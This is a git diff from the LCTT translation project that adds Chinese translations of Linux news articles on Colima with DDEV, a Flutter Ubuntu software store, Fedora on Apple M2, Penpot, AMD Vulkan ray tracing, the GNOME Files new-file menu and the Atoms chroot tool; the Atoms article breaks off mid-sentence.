+![](https://img.linux.net.cn/data/attachment/album/202209/29/095328wj3ypm34pyyy3rrp.jpg) + +> Colima 是 macOS 和 Linux 上的 Docker Desktop 替代品,它现在由 DDEV 支持。 + +[DDEV][2] 是一个开源工具,可以在几分钟内轻松启动和运行本地 PHP 开发环境。由于其每个项目的环境配置可以扩展、版本控制和共享,所以它很强大和灵活。简而言之,DDEV 旨在允许开发团队在其工作流程中使用容器,而无需复杂的定制配置。 + +DDEV 用灵活、现代、基于容器的解决方案取代了更传统的 AMP 栈解决方案(WAMP、MAMP、XAMPP 等)。因为它使用容器,DDEV 允许每个项目使用任何一组应用、Web 服务器版本、数据库服务器、搜索索引服务器和其他类型的软件。 + +2022 年 3 月,DDEV 团队 [宣布支持 Colima][3],这是 macOS 和 Linux 上的开源 Docker Desktop 替代品。[Colima][5] 是开源的,据所有报告显示,它比其替代方案有所 [性能提升][6],所以使用 Colima 似乎是一个没有问题的选择。 + +### 迁移到 Colima + +首先,Colima *几乎*是 Docker Desktop 的替代品。我说*几乎*是因为在将它用于现有的 DDEV 项目时需要重新配置。具体来说,必须重新导入数据库。解决方法是先导出数据库,然后启动 Colima,然后再导入。很简单。 + +Colima 要求安装 Docker 或 [Podman][7] 命令。在 Linux 上,它还需要 Lima。 + +Docker 默认随 Docker Desktop for macOS 一起安装,但它也可以作为独立命令使用。如果你想要 100% 纯 Colima,你可以卸载 Docker Desktop for macOS,并独立安装和配置 Docker 客户端。[完整的安装说明可以在 DDEV 文档站点上找到][8]。 + +![容器技术栈图片][9] + +*容器技术栈图片 图片来源:(Mike Anello,CC BY-SA 4.0)* + +如果你选择继续使用 Colima 和 Docker Desktop,那么在命令行执行 `docker` 命令时,你必须首先指定要使用的容器。下一节将对此进行更多介绍。 + +### 在 macOS 上安装 Colima + +我目前有一些本地项目使用 Docker,还有一些使用 Colima。当我了解了基础知识,在它们之间切换就不难了。 + +1. 使用 Homebrew `brew install colima` 安装 Colima +2. `ddev poweroff`(为了安全起见) +3. 接下来,使用 `colima start --cpu 4 --memory 4` 启动 Colima,`--cpu` 和 `--memory` 选项只需执行一次。第一次之后,只需要 `colima start` +4. 如果你像我一样是 DDEV 用户,那么你可以使用常用的 `ddev` 命令(`ddev config`、`ddev start` 等)启动一个全新的 Drupal 9 站点。建议启用 DDEV 的 mutagen 功能以最大化性能 + +### 在 Colima 和 Docker Desktop 之间切换 + +如果你还没有准备好使用 Colima,你可以同时安装 Colima 和 Docker Desktop。 + +1. 首先关闭 ddev:`ddev poweroff` +2. 然后停止Colima:`colima stop` +3. 现在运行 `docker context use default` 告诉 Docker 客户端你要使用哪个容器。默认名称是 Docker Desktop for Mac。当 `colima start` 运行时,它会自动将 Docker 切换到 `colima` 上下文 +4. 要继续使用默认(Docker Desktop)上下文,请使用 `ddev start` 命令。 + +从技术上讲,启动和停止 Colima 不是必需的,但是在两个上下文之间切换时的 `ddev poweroff` 命令是必要的。 + +Colima 停止时,最新版本的 Colima 会将 Docker 上下文恢复为 `default`,因此不再需要 `docker context use default` 命令。无论如何,我仍然使用 `docker context show` 来验证 `default`(Docker Desktop for Mac)或 `colima` 上下文是否正在使用。基本上,术语 `context` 指的是 Docker 客户端将命令发送到哪个容器提供者。 + +### 尝试 Colima + +总的来说,我喜欢我目前所看到的。我没有遇到任何问题,而且基于 Colima 的网站看起来更快些(尤其是在启用 DDEV 的 Mutagen 功能时)。我肯定会预见自己在未来几周内将项目网站迁移到 Colima。 + +*本文最初发布在 [DrupalEasy 博客][10] 并经许可重新发布。* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/docker-desktop-colima + +作者:[Michael Anello][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ultimike +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/coffee_cafe_brew_laptop_desktop.jpg +[2]: https://github.com/drud/ddev +[3]: https://ddev.com/ddev-local/docker-desktop-alternatives-arrive-for-ddev-colima/ +[5]: https://github.com/abiosoft/colima +[6]: https://ddev.com/ddev-local/docker-desktop-and-colima-benchmarking-on-macos/ +[7]: https://opensource.com/article/22/2/start-running-containers +[8]: https://ddev.readthedocs.io/en/stable/users/docker_installation/#macos-installation-colima +[9]: https://opensource.com/sites/default/files/2022-09/docker-desktop-colima.png +[10]: https://www.drupaleasy.com/news diff --git a/published/202209/20220915 This Flutter-based Unofficial Software Center Might Replace Ubuntu-s Official App.md b/published/202209/20220915 This Flutter-based Unofficial Software Center Might Replace Ubuntu-s Official App.md new file mode 100644 index 0000000000..8c547f22c2 --- /dev/null +++ b/published/202209/20220915 This Flutter-based Unofficial Software Center Might Replace Ubuntu-s Official App.md @@ -0,0 +1,95 @@ +[#]: subject: "This Flutter-based Unofficial Software Center Might Replace Ubuntu's Official App" +[#]: via: "https://news.itsfoss.com/unofficial-flutter-ubuntu-software/" +[#]: author: "Sagar Sharma https://news.itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15056-1.html" + +这个基于 Flutter 的非官方软件中心可能会取代 Ubuntu 的官方应用 +====== + +> Canonical 是否计划用这个基于 Flutter 的应用程序取代 Ubuntu 软件中心?也许是,也许不是。 + +![](https://news.itsfoss.com/content/images/size/w2000/2022/09/ubuntu-unofficial-flutter-store.jpg) + +Ubuntu 通常被认为 [是最适合初学者的发行版之一](https://itsfoss.com/best-linux-beginners/),但默认的软件中心(GNOME 软件中心Software Center)需要更多的打磨才能使其成为令人愉悦的体验。 + +为什么?嗯,它很慢而且占用资源很多,所以大多数用户不会费心使用它,或者使用感受很糟糕。 + +是的,多年来它可能有所改善,但仍远非良好的体验。 + +它看起来像是来自 Canonical 的贡献者,而其他人已经联手为 Ubuntu 软件中心开发一个轻量级、基于 Flutter 的替代方案! + +等等,它 **不是官方替代品**。但是,我想知道它是否打算很快取代 Ubuntu 软件中心?🤔 + +### 🆕 使用 Flutter 制作的 “Ubuntu 软件” + +![ubuntu software built with flutter][3] + +这个使用 Flutter 实现的 “Ubuntu 软件Ubuntu Software”旨在实现轻量级、自适应和快速,提供比传统软件更好的用户体验。 + +但首要因素必须是可用性,对吧?因为最后,你只是为了安装软件。而且,你想快速完成,没有任何麻烦。 + +当我在我的系统上尝试它时,我注意到“**我的应用程序**”下有一个单独的 “Snaps” 和 “Deb 包”部分: + +![separate section for deb and snap packages in ubuntu software][4] + +这应该便于处理单个应用程序中的不同包。毕竟,这是我一直想要的! + +轻松安装/管理应用程序的统一体验,是不是要求太多了? 🤷 + +但是应用信息和安装页面呢?好吧,它已经过重新设计,带有微妙的动画以增强体验。 + +![app info section in unofficial ubuntu software][5] + +自适应布局简直就是锦上添花。这有点类似于 elementary OS 7 为我们准备的: + +> **[elementary OS 7 准备添加响应式应用程序,并移植到 GTK 4](https://news.itsfoss.com/elementary-os-7-dev-updates/)** + +所以,它看起来像是对未来的一个深思熟虑的实现,对吧? + +![adaptive layout in unofficial ubuntu software center][8] + +### 它会取代 Ubuntu 软件吗? + +虽然项目贡献者将其标记为 Ubuntu 软件中心的非官方替代品,但我认为它更像是一个尝试作为替代品的实验。 + +考虑到负责 Ubuntu 上 Flutter 的高级工程师 @Canonical [JP Nurmi](https://twitter.com/jpnurmi) 参与其中,这将是一件值得期待的*事情*。 + +我们现在唯一能做的就是“预测”。随着事情的发展,这似乎有更多的机会成为官方的。 + +### 想尝试这个基于 Flutter 的商店吗? + +你可以前往它的 [GitHub 页面](https://github.com/ubuntu-flutter-community/software) 并按照构建说明让它运行。请注意,截至目前,它正在大力开发中。 + +> **[下载 Ubuntu 软件](https://github.com/ubuntu-flutter-community/software)** + +对于正在积极开发的东西来说,它的效果相当好。 + +*💬 我希望当前的软件中心被取代。你怎么看?在下面的评论中让我知道你的想法!* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/unofficial-flutter-ubuntu-software/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/ubuntu-unofficial-flutter-store.jpg +[2]: https://itsfoss.com/best-linux-beginners/ +[3]: https://news.itsfoss.com/content/images/2022/09/unofficial-ubuntu-software-1.png +[4]: https://news.itsfoss.com/content/images/2022/09/snap-and-deb-section-1.png +[5]: https://news.itsfoss.com/content/images/2022/09/kdenline-in-ubuntu-software.png +[6]: https://news.itsfoss.com/elementary-os-7-dev-updates/ +[8]: https://news.itsfoss.com/content/images/2022/09/responsive-design-of-ubuntu-software.png +[9]: https://twitter.com/jpnurmi +[10]: https://github.com/ubuntu-flutter-community/software +[11]: https://github.com/ubuntu-flutter-community/software diff --git a/published/202209/20220915 Wow! Torvalds Modified Fedora Linux to Run on his Apple M2 Macbook.md b/published/202209/20220915 Wow! Torvalds Modified Fedora Linux to Run on his Apple M2 Macbook.md new file mode 100644 index 0000000000..928178ba80 --- /dev/null +++ b/published/202209/20220915 Wow! Torvalds Modified Fedora Linux to Run on his Apple M2 Macbook.md @@ -0,0 +1,93 @@ +[#]: subject: "Wow! Torvalds Modified Fedora Linux to Run on his Apple M2 Macbook" +[#]: via: "https://news.itsfoss.com/fedora-apple-torvalds/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15041-1.html" + +哇!Torvalds 为自己的 Apple M2 Macbook 专门修改了 Fedora Linux +====== + +> Linus Torvalds 让 Fedora Linux Workstation 36 成功运行在 Apple Macbook Air M2 上。666! + +![Wow! Torvalds Modified Fedora Linux to Run on his Apple M2 Macbook][1] + +Linus Torvalds 喜欢写代码和修复代码。当然,这是他的技术专长。 + +如果你知道的话,他就是那个因为买不起 UNIX,转头就创造了 Linux 的家伙。 + +出于类似的原因,他还在 BitKeeper 不再免费使用后构建了 Git。 + +即使在今天,他仍继续着他的动手精神和“没有我解决不了的问题”的态度。 + +他设法在他的 Apple Macbook Air M2 上运行了 Fedora Linux 36 Workstation 版本。 + +**注意**:从 Asahi Linux 的 Hector Martin 那里得知,Linus Torvalds 似乎在这里使用了 [Leif 的工具包](https://github.com/leifliddy/asahi-fedora-builder)。所以,你可能想多了,他并没有从头开始做所有事情来让它发挥作用。 + +![GIF][3] + +多亏了 ZDNet 对 Torvalds 的 [采访](https://linux.cn/article-15039-1.html),我们才发现了这一激动人心的考验。 + +### Apple M2 芯片上的 Fedora Linux + +Apple Macbook Air 是一款出色的笔记本电脑。但是,它不能完全按照消费者想要的方式运行 Linux。 + +然而,Linus Torvalds 似乎是使 Linux 运行在苹果电脑上的天才。 + +尽管苹果基于 ARM 的 M2 芯片没有 Fedora 移植,但他还是做到了。 + +请注意,这并不意味着你可以立即在 Macbook Air M2 上运行 Fedora Linux。它只适合像 Torvalds 这样的 Linux 高手才能使其工作。 + +他说,即使没有图形加速和在 GNOME 桌面环境中缺少某些图形效果(例如屏幕调光),这种体验也很出色。 + +> 我喜欢这种方式,它使显示更加迅捷。我可能也会在我的其他机器上关掉这些。 + +事实上,总的来说,这是一项令人兴奋的成就! + +### Apple 芯片上 Linux 的现状 + +不仅是 Linus Torvalds,而且每个人都对 Apple M1/M2 芯片的性能印象深刻。 + +事实上,他利用 Macbook Air M2 发布了 **Linux 内核 5.19**。 + +> **[Linus Torvalds 使用 Apple MacBook 硬件发布 Linux Kernel 5.19](https://news.itsfoss.com/linux-kernel-5-19-release/)** + +尽管我们很想尝试一下,但 Apple 的 M2 还没有为 Linux 做好准备。 + +幸运的是,像 [Asahi Linux](https://asahilinux.org/) 这样的项目一直在不断改进对 Apple 芯片的支持。他们还设法使 [Linux 在最新的 Apple M2 芯片上运行](https://asahilinux.org/2022/07/july-2022-release/)。 + +而且,在 Linux 创造者的努力下,我们应该很快就能在 Macbook 上看到完整的 Linux 体验。 + +到目前为止,你可以使其与 Asahi Linux 一起使用,但对于大多数用户来说,它仍然无法取代它作为日常办公系统。 + +#### 推荐阅读 📖 + +有兴趣了解更多关于 Torvalds 的知识吗?我们这里有一个有趣的收藏👇 + +> **[Linus Torvalds:关于 Linux 创造者的 20 个事实](https://itsfoss.com/linus-torvalds-facts/)** + +*💬 你如何看待在 Apple 硬件上运行的 Fedora Linux?你希望某个发行版可以在 Apple M1/M2 驱动的设备上运行吗?是哪个发行版?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/fedora-apple-torvalds/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/torvalds-fedora-m2-macbook.png +[2]: https://github.com/leifliddy/asahi-fedora-builder +[3]: https://tenor.com/embed/5289253 +[4]: https://www.zdnet.com/article/linus-torvalds-talks-rust-on-linux-his-work-schedule-and-life-with-his-m2-macbook-air/ +[5]: https://news.itsfoss.com/linux-kernel-5-19-release/ +[7]: https://asahilinux.org/ +[8]: https://asahilinux.org/2022/07/july-2022-release/ +[9]: https://itsfoss.com/linus-torvalds-facts/ diff --git a/published/202209/20220916 Penpot is a Solid Open-Source Figma Alternative to Look Out for!.md b/published/202209/20220916 Penpot is a Solid Open-Source Figma Alternative to Look Out for!.md new file mode 100644 index 0000000000..a74a8aa9f6 --- /dev/null +++ b/published/202209/20220916 Penpot is a Solid Open-Source Figma Alternative to Look Out for!.md @@ -0,0 +1,89 @@ +[#]: subject: "Penpot is a Solid Open-Source Figma Alternative to Look Out for!" +[#]: via: "https://news.itsfoss.com/penpot-figma-alternative/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15049-1.html" + +一个值得关注的开源软件 Penpot 将成为 Figma 可靠的替代品! +====== + +> Penpot 是一个自由开源的解决方案,能够替代 Figma 或类似的设计工具。你怎么看? + +![Penpot is a Solid Open-Source Figma Alternative to Look Out for!][1] + +Adobe 以高达 **200 亿美元的价格收购了流行的设计工具** [Figma](https://www.figma.com/)。 + +像往常一样,大型科技公司通过收购企业来消除竞争。因此,这并不完全是一个令人兴奋的消息。 + +但是,**令人兴奋**的是,我们遇到了一个自由开源的设计工具,它从 Figma 中获得灵感并且做得更好! + +### Penpot:正在开发中的自由开源的设计工具 + +![Penpot UI][3] + +[Penpot][4] Penpot 是一个正在积极开发的开源项目。将近两年前,它在 ProductHunt 上推出,目前处于测试阶段。 + +**Penpot 值得关注的地方:** + +- 自由开源(当然)。 +- 可以选择自托管。 +- 跨平台。 +- 使用 SVG 作为原生格式。 +- 基于 Web。 +- 具有行业标准功能(受 Figma 启发)。 + +你可以观看其官方视频以了解其基础知识: + +![Penpot for Beginners][6] + +Penpot 的主要亮点是使用 SVG 作为其原生格式。使用 SVG 文件,你可以获得与许多矢量图形编辑工具很好的兼容性。 + +因此,你保存下来的文件,同样可以被其他的图片编辑软件打开,而不会被其专有的格式锁定在一个特定的软件上。 + +Penpot 为你提供绝对最佳的开放标准。 + +Penpot 的 CEO,Pablo Ruiz-Múzquiz 提到了更多: + +> 如果你在存储层面上采用 SVG(开放标准,支持 Web,移动互联网等),你马上就可以将你所有的 Penpot 设计与你的代码库整合起来。由于采用了 SVG 而不是另一种封闭的格式,你可以对设计本身的实际表现进行修改。这为设计师和开发人员打开了巨大的机会之门。另外,SVG 意味着我们免费地就为低代码提供了支持。你可以在 Penpot 中选择任何元素并查看它的 SVG(和 CSS)形式,知道它实际上是什么,无需翻译。这给设计师和开发人员之间带来了更值得信赖的关系,并允许前端开发人员尝试他们的设计技能。 + +所以,使用 SVG 作为原生格式有很多优势! + +目前,该项目处于测试阶段,且在项目中有大量熟练的贡献者不断改进。 + +**这可以让它变成 Figma 最有用的开源替代品,让设计工具突破了大型技术公司。** + +你可以自行托管它或使用云应用程序对其进行测试。在其官方网站上注册以学习和试验它。 + +你还可以查看其 [GitHub 页面](https://github.com/penpot/penpot) 以探索更多信息。 + +> **[Penpot](https://penpot.app/)** + +这也让我想起了 [Akira](https://github.com/akiraux/Akira),它的目标是成为一个用于 UI 和 UX 设计的原生 Linux 应用程序。它仍处于早期开发阶段,但当涉及 Linux 或开源计划时,这种努力总是受到赞赏。 + +*💬 你如何看待 Penpot 作为 Figma 的开源替代品?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/penpot-figma-alternative/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/penpot-opensource-figma-ft.jpg +[2]: https://www.figma.com/ +[3]: https://news.itsfoss.com/content/images/2022/09/penpot-screenshot.jpg +[4]: https://penpot.app/ +[5]: https://www.producthunt.com/products/penpot?utm_source=badge-featured&utm_medium=badge#penpot +[6]: https://youtu.be/JozESuPcVpg +[7]: https://github.com/penpot/penpot +[8]: https://penpot.app/ +[9]: https://github.com/akiraux/Akira diff --git a/published/202209/20220919 AMD-s Open Source Vulkan Graphics Drivers Now Enable Ray Tracing.md b/published/202209/20220919 AMD-s Open Source Vulkan Graphics Drivers Now Enable Ray Tracing.md new file mode 100644 index 0000000000..dd09c4444f --- /dev/null +++ b/published/202209/20220919 AMD-s Open Source Vulkan Graphics Drivers Now Enable Ray Tracing.md @@ -0,0 +1,55 @@ +[#]: subject: "AMD’s Open Source Vulkan Graphics Drivers Now Enable Ray Tracing" +[#]: via: "https://www.opensourceforu.com/2022/09/amds-open-source-vulkan-graphics-drivers-now-enable-ray-tracing/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15064-1.html" + +AMD 的开源图形驱动程序 Vulkan 现在支持光线追踪 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/09/AMD-Ryzen-Zen-CPUs_Next-Gen-1536x842.jpg) + +> RDNA 2 GPU 的 Linux 用户可以使用 AMD 的 AMDVLK GPUOpen 开源 Vulkan 驱动程序。 + +用于 Radeon RX 6000 GPU 的 AMDVLK GPUOpen 图形驱动程序在过去一周改进了对 64 位光线追踪的支持。这涵盖了支持 RDNA 2 图形的 APU 以及桌面/移动 GPU。所有平台上的所有 AMD Vulkan 驱动程序现在都支持硬件光线追踪,包括 Mesa3D RADV、AMDVLK GPUOpen 和 AMDGPU-PRO。 + +GPU 光线追踪库(GPURT)的基础是一个 C++ 接口。根据其用法和依赖关系,公共接口被拆分为各种头文件。用户可以在官方的 GitHub 仓库上了解更多信息,它还包括了 RDNA 2 GPURT 的结构细分。最新的 AMDVLK GPUOpen v-2022.Q3.4 信息如下: + +**更新和新功能:** + +- 扩展 Navi2x 的 64 位光线追踪功能。 +- 将 Vulkan 标头升级到版本 1.3.225 +- 游戏性能优化,包括《荣耀战魂》和《奇点灰烬》 + +**已解决的问题:** + +- `dEQP-VK.api.copy_and_blit.*.resolve_image.whole_copy_before_resolving_transfer.*` 新版本 CTS 失败。 +- dEQP-VK.pipeline.creation 缓存控件有一个 CTS 警告。 +- Ubuntu 22.04 上的 Firefox 损坏 +- VulkanInfo 崩溃,管道缓存已停用 +- RX 6800 上的 RGP 测试套件故障 + +新的改进包括 GPU 光线追踪库(GPURT),它将包括使用 HLSL 之类的着色器在光线追踪中看到的边界体积层次(BVH)的构造和排序处理。这个库将提供一个标准库来改进图形渲染并引入更多的统一性。DirectX 12 DXR 也将与新库一起使用。 + +对 GPU 光线追踪(GPURT)库的描述为“一个静态库(源代码交付),为支持 DXR(DirectX 12)和 Vulkan® RT API 的 AMD 驱动程序提供与光线追踪相关的功能。” 该公司的平台抽象库用于构建库(PAL)。 + +用户可参考最新 AMDVLK GPUOpen v-2022.Q3.4 升级的安装说明。用户在更新任何软件、硬件或驱动程序之前应备份所有相关数据,以免丢失重要文件。 + +为了让最新的 Linux 驱动程序为 AMD、Intel 和 NVIDIA 技术做好准备,已经投入了大量工作,这些技术都是在今年第一季度推出的。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/amds-open-source-vulkan-graphics-drivers-now-enable-ray-tracing/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202209/20220919 GNOME Files Introduces Most-Requested Feature- New File Menu.md b/published/202209/20220919 GNOME Files Introduces Most-Requested Feature- New File Menu.md new file mode 100644 index 0000000000..7b45efe6b1 --- /dev/null +++ b/published/202209/20220919 GNOME Files Introduces Most-Requested Feature- New File Menu.md @@ -0,0 +1,88 @@ +[#]: subject: "GNOME Files Introduces Most-Requested Feature: New File Menu" +[#]: via: "https://www.debugpoint.com/gnome-files-new-file-document/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15057-1.html" + +GNOME “文件”引入最受欢迎的功能:“新建文件”菜单 +====== + +> 这是 GNOME “文件”中的“新建文件”功能,它为你提供了一种创建文档和文件的新方法。让我们看一看。 + +无需在后端进行更多调整。通过“文件Files”(又名 Nautilus)中的上下文菜单创建新文档/新文件的最令人期待的功能终于到来了。 + +作为 [谷歌编程之夏 2022](https://debugpointnews.com/gsoc-2022/) 的一部分,(由 Ignacy Kuchciński 开发的)这个新功能最近经过审查并合并到 “文件” 的主分支中。 + +### 它看起来如何 + +当你右键单击文件时,上下文菜单有一个新选项“新建文件New File”。 + +![New File Option in Files Context Menu][2] + +GNOME “文件”中的“新建文件New File”选项启动一个操作窗口,如下图所示。 + +![GNOME Files New File Action Dialog][3] + +当它启动上述对话框时,会在后台发生一些事情。 + +你可能知道你可以在主目录中创建一个带有模板的 `Template` 文件夹,以便轻松访问常用的文档类型。因此,GNOME “文件” 会检查你是否有该目录。 + +如果当前存在一个带有模板的 `Template` 目录,你能通过那些文档类型的列表以创建新文档。 + +![GNOME Files New File Template Dialog (when some templates present)][4] + +如果你没有任何模板(很可能),GNOME “文件”会扫描你的系统并根据系统中已安装的应用程序显示常见文件类型的列表。 + +例如,文本编辑器、LibreOffice 文档类型(电子表格、演示文稿)等。 + +这里还发生了一些其他事情。当你为新文档选择文件类型时,系统会选择默认的文件扩展名。这是文件名文本框中的受保护标签。 + +此外,如果你没有安装任何模板或任何应用程序,则根本不会显示“新建文件”菜单选项。 + +### 未来路线图 + +开发人员还提出了未来对该功能的增强,更大程度地扩展其功能。 + +当没有可用的模板时,对话框将如下所示。它将允许你通过选择应用程序来创建文件,包括空白文件。 + +此外,你可以直接启动软件来安装一些可以帮助你创建相应文件类型的应用程序。 + +由于这个功能比较复杂,可能会在以后开发。目前还没有时间表。 + +### 这在“文件” v43 中可用(通过 GNOME 43)吗? + +但是,在我看来,这种变化需要一些额外的设计审查。我觉得它不完整。例如,当你有模板时,你无法创建标准文档类型(文本、LibreOffice 文档)—— 这两个对话框是互斥的。另外,我发现了一些小 BUG。 + +尽管该功能目前 [已获得批准和合并](https://gitlab.gnome.org/GNOME/nautilus/-/merge_requests/914),但由于日程冲突,它无法进入 [GNOME 43候选版本](https://www.debugpoint.com/gnome-43/)。 + +希望在经过一轮良好的审查和测试后,你可以在明年的 GNOME 44 版本中获得此功能。 + +### 总结 + +总的来说,这是一个优雅的功能,我认为如今没有任何其他文件管理器具有这种先进的设计。一旦这个“文件”的“新建文件”功能被完全实现,它将会是其出色功能集的一个很好的补充。 + +那么,你喜欢这个新设计吗?请在评论框中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/gnome-files-new-file-document/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://debugpointnews.com/gsoc-2022/ +[2]: https://www.debugpoint.com/wp-content/uploads/2022/09/New-File-Option-in-Files-Context-Menu.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2022/09/GNOME-Files-New-Document-Action-Dialog.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/09/GNOME-Files-New-Document-Template-Dialog.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/09/Long-term-vision-with-additional-features.jpg +[6]: https://gitlab.gnome.org/GNOME/nautilus/-/merge_requests/914 +[7]: https://www.debugpoint.com/gnome-43/ diff --git a/published/202209/20220920 Atoms is a GUI Tool to Let You Manage Linux Chroot Environments Easily.md b/published/202209/20220920 Atoms is a GUI Tool to Let You Manage Linux Chroot Environments Easily.md new file mode 100644 index 0000000000..0b9b9ce9b0 --- /dev/null +++ b/published/202209/20220920 Atoms is a GUI Tool to Let You Manage Linux Chroot Environments Easily.md @@ -0,0 +1,109 @@ +[#]: subject: "Atoms is a GUI Tool to Let You Manage Linux Chroot Environments Easily" +[#]: via: "https://itsfoss.com/atoms-chroot-tool/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15087-1.html" + +Atoms 是一个可以让你轻松管理 Linux Chroot 环境的 GUI 工具 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/30/113748nxg0zps10q58q5wr.jpg) + +chroot 环境为你在 Linux 中进行测试提供了隔离。你无需费心创建虚拟机。相反,如果你想测试应用或其他东西,请创建一个允许你选择不同根目录的 chroot 环境。 + +因此,使用 chroot,你可以在不让应用访问系统其余部分的情况下进行测试。你安装的任何应用或你尝试的任何东西都会被限制在该目录中,并且不会影响操作系统的功能。 + +chroot 有它的好处,这就是为什么它是为各种用户(尤其是系统管理员)测试事物的便捷方式。 + +不幸的是,所有这些都通过 Linux 终端运行。如果你可以有一个图形用户界面来让事情变得简单一些呢?这就是“**Atoms**”的用武之地。 + +### Atoms:管理 Linux Chroot 的 GUI + +![atoms][1] + +Atoms 是一个 GUI 工具,它可以方便地创建和管理 Linux chroot 环境。 + +它还支持与 [Distrobox][2] 的集成。因此,你还可以使用 Atoms 管理容器。 + +但是,开发人员提到,该工具不提供与 Podman 的无缝集成,并解释其用途:“*它的目的只是允许用户在新环境中打开 shell,无论是 chroot 还是容器。*” + +如果你正在寻找这样的东西,你可能需要试试 [pods][3]。 + +### Atoms 的特性 + +![atoms options][4] + +Atoms 是一个简单的 GUI 程序,可让你为多个受支持的 Linux 发行版创建 chroot 环境。 + +让我重点介绍支持的发行版及其提供的功能: + +* 浏览创建的 chroot 文件。 +* 能够选择要露出的挂载点。 +* 访问控制台。 +* 支持的 Linux 发行版包括 Ubuntu、Alpine Linux、Fedora、Rocky Linux、Gentoo、AlmaLinux、OpenSUSE、Debian 和 CentOS。 + +它非常易于使用。从该应用中创建一个 atom 只需一键。(LCTT 校注:该应用创建的每一个 chroot 环境称之为一个“atom”。) + +你所要做的就是为该 atom 命名,然后从可用选项列表中选择 Linux 发行版(Ubuntu 作为上面截图中的选择)。它会在几分钟内下载镜像并为你设置 chroot 环境,如下所示。 + +![atom config][5] + +完成后,你可以访问选项启动控制台以管理 chroot 环境,或自定义/删除它。 + +![atoms option][6] + +要访问控制台,请转到另一个选项卡菜单。非常顺滑的体验,并且运行良好,至少对于我测试过的 Ubuntu 而言。 + +![atoms console][7] + +此外,你可以分离控制台以将其作为单独的窗口进行访问。 + +![atoms detach console][8] + +### 在 Linux 上安装 Atom + +你可以使用 [Flathub][9] 上提供的 Flatpak 包在任何 Linux 发行版上安装 Atoms。如果你是 Linux 新手,请遵循我们的 [Flatpak 指南][10]。 + +**注意:** 最新的稳定版本 **1.0.2** 只能通过 Flathub 获得。 + +要探索其源代码和其他详细信息,请访问其 [GitHub 页面][11]。 + +### 总结 + +Linux 命令行功能强大,你几乎可以使用这些命令执行任何操作。但并不是每个人都对它感到满意,因此像 Atoms 这样的工具通过提供 GUI 使其更加方便。 + +Atoms 并不是唯一的这类工具。还有 [Grub Customizer][12] 可以更轻松地更改本来通过通过命令行完成的 [Grub][13] 配置。 + +我相信还有更多这样的工具。 + +*你如何看待使用像 Atom 这样的 GUI 程序来管理 Chroot 